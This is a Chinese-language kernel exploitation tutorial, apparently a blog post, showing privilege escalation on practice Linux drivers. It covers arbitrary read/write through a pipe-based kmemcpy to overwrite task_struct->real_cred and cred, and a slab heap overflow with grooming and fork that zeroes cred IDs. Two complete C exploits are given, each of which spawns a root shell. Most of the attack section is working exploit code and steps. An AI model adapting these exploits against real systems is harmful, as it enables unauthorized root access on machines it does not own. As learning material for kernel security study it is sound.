    如果是泄露内核数据的话， dest 为 内核地址， src 为 内核地址，同时要关闭 smap

    如果是对内核数据进行写操作， dest 为 内核地址， src 为 用户态地址

    修改 task_struct->real_cred

    我们现在已经有了thread_info 的地址，而且可以对内核进行任意读写，于是通过 修改 task_struct->real_cred 和 task_struct->cred 进行提权。

    • 首先通过 thread_info 的地址，拿到 task_struct 的地址 （ thread_info->task)
    • 通过 task_struct->real_cred 和 task_struct->cred相对于 task_struct 的偏移，拿到 它们的地址.
    • 修改 task_struct->real_cred 中从开始 一直 到 fsuid 字段（大小为 0x1c) 为 0.
    • 修改 task_struct->cred = task_struct->real_cred
    • 执行 system("sh"), 获取 root 权限的 shell

    gdb中获取 real_cred 的偏移

    p &((struct task_struct*)0)->real_cred

    完整 exp

    #include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
    size_t len;
    char* buf;
    char* addr;
};

int pipefd[2];

int kmemcpy(void *dest, void *src, size_t size)
{
    write(pipefd[1], src, size);
    read(pipefd[0], dest, size);
    return size;
}

int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/arw", O_RDWR);
    if (fd == -1) {
        printf("open hello device failed!
");
        return -1;
    }

    struct param p;
    ioctl(fd, 5, &p);
    printf("got thread_info: %p
", p.addr);
    char * info = p.addr;
    int ret_val = pipe(pipefd);
    if (ret_val < 0) {
        printf("pipe failed: %d
", ret_val);
        exit(1);
    }

    kmemcpy(buf, info, 16);
    void* task_addr = (void *)(*(long *)buf);
    //p &((struct task_struct*)0)->real_cred
    // 0x5a8
    kmemcpy(buf, task_addr+0x5a8, 16);
    char* real_cred = (void *)(*(long *)buf);
    printf("task_addr: %p
", task_addr);
    printf("real_cred: %p
", real_cred);
    char* cred_ids = malloc(0x1c);
    memset(cred_ids, 0, 0x1c);
    // 修改 real_cred 
    kmemcpy(real_cred, cred_ids, 0x1c);
    // 修改 task->cred = real_cred
    kmemcpy(real_cred+8, &real_cred, 8);
    system("sh");

    return 0;
}

    运行测试

    image.png

    gid 和 groups没有为 0， 貌似是 qemu 的 特点导致的？因为它们后面的字段能被成功设置为 0

    参考

    LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる

    利用 set_fs

    在内核中 set_fs 是一个用于设置 thread_info->addr_limit 的 宏，利用这个，再加上一些条件，可以直接修改 thread_info->addr_limit , 具体可以看 Android PXN绕过技术研究

    修改 cred提权

    本节使用 heap_bof 中的代码作为示例。

    漏洞请看 Rop-By-Heap-Vulnerability 小结。

    介绍

    在内核中用 task_struct 表示一个进程的属性， 在创建一个进程的时候同时会分配 cred 结构体用于标识进程的权限。

    struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */

    提权到 root 除了调用 commit_creds(prepare_kernel_cred(0)) 外，我们还可以通过 修改 cred 结构体中 *id 的字段 为0 ，其实就是把 cred 结构体从开始一直到 fsuid 的所有字段全部设置为0， 这样也可以实现 提权到 root 的目的。

    堆溢出为例

    本节就实践一下，前面利用这个驱动的 uaf 漏洞，这节就利用堆溢出。

    要利用堆溢出就要搞清楚内核真正分配给我们的内存大小，这里 cred 结构体大小为 0xa8 （编译一个内核 gdb查看之）， 由于向上对齐的特性内核应该会分配 0xc0 大小的内存块给我们，测试一下（具体代码可以看最终 exp)。

       // 让驱动分配 10 个 0xa8  的内存块
    for (int i = 0; i < 80; ++i)
    {
        p.idx = 1;
        ioctl(fds[0], 5, &p);  // malloc
    }
    printf("clear heap done
");

    // 让驱动分配 10 个 0xa8  的内存块
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }

    首先分配 80 个 0xa8 大小内存块，用于清理内存碎片，这样就可以使后续的内存分配，可以分配到连续的内存空间。

    image.png

    可以看到清理内存碎片后的分配，是连续的每次分配都是相距 0xc0 ，说明内核实际分配的内存大小就是 0xc0. 这 和 slub 机制描述的一致（分配的 size 向上对齐）

    于是利用思路就是

    • 首先分配 80 个 0xa8 （实际是 0xc0) 的内存块 对内存碎片进行清理。
    • 让驱动调用几次 kmalloc(0xa8, GFP_KERNEL )，这会让内核分配 几个 0xc0 的内存块。
    • 释放中间的一个，然后调用 fork 会分配 cred 结构体，这个结构体会落入刚刚释放的那个内存块。
    • 这时溢出该内存块的前一个内存块，就可以溢出到 cred 结构体，然后把 一些字段设置为 0，就可以提权了。
    #include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct param
{
    size_t len;    // 内容长度
    char* buf;     // 用户态缓冲区地址
    unsigned long idx; // 表示 ptr 数组的 索引
};
int main(void)
{
    int fds[10];
    int ptmx_fds[0x100];
    char buf[8];
    int fd;
    for (int i = 0; i < 10; ++i)
    {
        fd = open("/dev/bof", O_RDWR);
        if (fd == -1) {
            printf("open bof device failed!
");
            return -1;
        }
        fds[i] = fd;
    }
    struct param p;
    p.len = 0xa8;
    p.buf = malloc(p.len);
    // 让驱动分配 10 个 0xa8  的内存块
    for (int i = 0; i < 80; ++i)
    {
        p.idx = 1;
        ioctl(fds[0], 5, &p);  // malloc
    }
    printf("clear heap done
");
    // 让驱动分配 10 个 0xa8  的内存块
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }
    p.idx = 5;
    ioctl(fds[5], 7, &p); // free
    int now_uid;
    // 调用 fork 分配一个 cred结构体
    int pid = fork();
    if (pid < 0) {
        perror("fork error");
        return 0;
    }
    // 此时 ptr[4] 和 cred相邻
    // 溢出 修改 cred 实现提权
    p.idx = 4;
    p.len = 0xc0 + 0x30;
    memset(p.buf, 0, p.len);
    ioctl(fds[4], 8, &p);    
    if (!pid) {
        //一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了
        now_uid = getuid();
        printf("uid: %x
", now_uid);
        if (!now_uid) {
            // printf("get root done
");
            // 权限修改完毕，启动一个shell，就是root的shell了
            system("/bin/sh");
        } else {
            // puts("failed?");

        }
    } else {
        wait(0);
    }
    getchar();
    return 0;
}
  • 相关阅读:
    修改MySQL表varchar字段的小实验
    MySQL5.6同步指定数据库
    Redis安装
    MongoDB安装
    RMAN备份注意事项
    Oracle Data Guard Protection Modes
    Linux Shell 文本处理工具
    ORACLE 收缩表空间的数据文件
    crfclust.bdb导致磁盘满
    undo管理
  • 原文地址：https://www.cnblogs.com/hac425/p/9416886.html
Copyright © 2020-2023  润新知